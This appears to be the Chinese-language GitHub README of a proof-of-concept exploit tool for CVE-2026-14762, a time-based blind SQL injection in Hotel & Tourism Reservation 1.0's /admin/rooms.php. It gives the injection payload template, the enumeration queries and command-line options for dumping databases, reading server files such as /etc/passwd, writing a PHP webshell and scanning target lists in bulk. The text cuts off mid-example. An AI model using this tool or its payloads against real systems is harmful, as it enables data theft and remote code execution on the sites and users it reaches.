tc4dy/CVE-2026-14762-PoC-Exploit
GitHub: tc4dy/CVE-2026-14762-PoC-Exploit
针对 Hotel & Tourism Reservation 1.0 的 CVE-2026-14762 时间盲注漏洞利用工具,支持数据库枚举、文件读写、webshell 部署及交互式查询。
Stars: 1 | Forks: 1

# CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL 注入漏洞利用
[](https://www.python.org/downloads/)
[](LICENSE)
[-orange)](https://nvd.nist.gov/vuln/detail/CVE-2026-14762)
[-red)](https://cwe.mitre.org/data/definitions/89.html)
**功能全面、多线程、基于时间的盲注漏洞利用程序,针对 CVE‑2026‑14762。**
目标为 **Code‑Projects Hotel & Tourism Reservation** 应用程序(版本 1.0)的 `/admin/rooms.php` 端点。
可实现完整的数据库枚举、文件系统读取(`LOAD_FILE`)以及任意文件写入(`INTO OUTFILE` / `DUMPFILE`)——从而通过部署 webshell 实现远程代码执行。
## 🚀 功能
| 类别 | 功能 |
| :------- | :--------- |
| **漏洞** | 基于时间的盲注 (CWE‑89) |
| **攻击向量** | `GET /admin/rooms.php?delete=` |
| **漏洞利用** | 注入条件 `SLEEP()` 并使用二分查找提取字符 |
| **数据库** | 提取当前数据库名称 |
| **Schema** | 通过 `information_schema` 枚举表和列 |
| **数据导出** | 全表导出 (JSON) – 无行数限制,可配置限制 |
| **文件读取** | `LOAD_FILE()` – 读取 MySQL 可读取的任何文件(例如 `/etc/passwd`、配置文件) |
| **文件写入** | `INTO OUTFILE` / `DUMPFILE` – 写入 PHP webshell、后门或任意内容 |
| **交互式 Shell** | 实时 SQL shell(基于时间提取),用于手动查询 |
| **单次查询** | 执行临时 SQL 并返回结果(限制 512 字符) |
| **批量模式** | 使用可配置线程池 (`ThreadPoolExecutor`) 进行多目标扫描 |
| **代理支持** | HTTP/HTTPS 代理(Burp Suite、mitmproxy 等) |
| **详细日志** | 带时间戳调试信息的彩色输出 |
| **零依赖** | 仅需 `requests`、`urllib3` 和 `colorama`(可选) |
## 📦 环境要求
- **Python** ≥ 3.11
- Python 包:
- `requests`
- `urllib3`
- `colorama`(*可选 – 用于终端彩色输出*)
使用以下命令安装所有依赖项:
```
pip install requests urllib3 colorama
```
## 📖 用法
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py 或 basic_exploit.py
## 📖 命令行参数
| 参数 | 简写 | 类型 | 默认值 | 描述 |
|:---------|:------|:-----|:--------|:------------|
| `--target` | `-t` | URL | — | 单个目标 URL(例如 `http://192.168.1.100`) |
| `--target-file` | `-l` | 文件 | — | 包含目标列表的文件(每行一个) |
| `--threads` | — | 整数 | `5` | 用于多目标扫描的线程数 |
| `--output` | `-o` | 路径 | — | 输出文件(导出数据为 JSON,读取文件为原始文本) |
| `--verbose` | `-v` | 标志 | `False` | 启用详细的调试日志 |
| `--proxy` | — | URL | — | HTTP/HTTPS 代理(例如 `http://127.0.0.1:8080`) |
| `--user-agent` | `-ua` | 字符串 | `Mozilla/5.0...` | 自定义 User-Agent 标头 |
| `--delay` | — | 浮点数 | `5.0` | 盲注的休眠时间(以秒为单位) |
| `--max-retries` | — | 整数 | `3` | 最大请求重试次数 |
| `--ssl-verify` | — | 标志 | `False` | 启用 SSL 证书验证 |
| `--webroot` | — | 路径 | `/var/www/html` | 用于 `INTO OUTFILE` 写入 webshell 的 Web 根目录 |
| `--dump-db` | — | 标志 | `False` | 导出当前数据库中的所有表 |
| `--tables` | — | 标志 | `False` | 仅列出所有表名 |
| `--dump-table` | — | 表 | — | 导出特定表(例如 `--dump-table users`) |
| `--read` | — | 路径 | — | 通过 `LOAD_FILE()` 读取文件 |
| `--write-shell` | — | 标志 | `False` | 将 PHP webshell (`shell.php`) 写入 Web 根目录 |
| `--sql` | — | 查询 | — | 执行单个 SQL 查询(最多返回 512 个字符) |
| `--interactive` | `-i` | 标志 | `False` | 在漏洞利用后启动交互式 SQL shell |
## ⚙️ 工作原理
### Payload 构建
`delete` 参数被注入了:
```
150' AND IF(, SLEEP(), 0) AND '1'='1
```
IF() 会对条件进行求值;如果为真,数据库将休眠 秒。
二分查找字符提取
对于每个字符位置,通过对 ASCII 范围 (32–126) 进行二分查找,并使用 > 和 = 比较来确定正确的字符。这会将每个字符的请求数量从 95 次减少到约 7-8 次,从而使提取过程非常高效。
元数据枚举
```
Database name: SELECT DATABASE()
Tables: SELECT table_name FROM information_schema.tables WHERE table_schema='' LIMIT n,1
Columns: SELECT column_name FROM information_schema.columns WHERE table_schema='' AND table_name='' LIMIT n,1
```
数据窃取
```
SELECT LIMIT row,1 – extracts row by row
Each cell is extracted character by character using the same binary-search technique
```
文件系统交互
```
Read: LOAD_FILE('/path/to/file') – requires secure_file_priv to be empty or point to the target directory
Write: SELECT '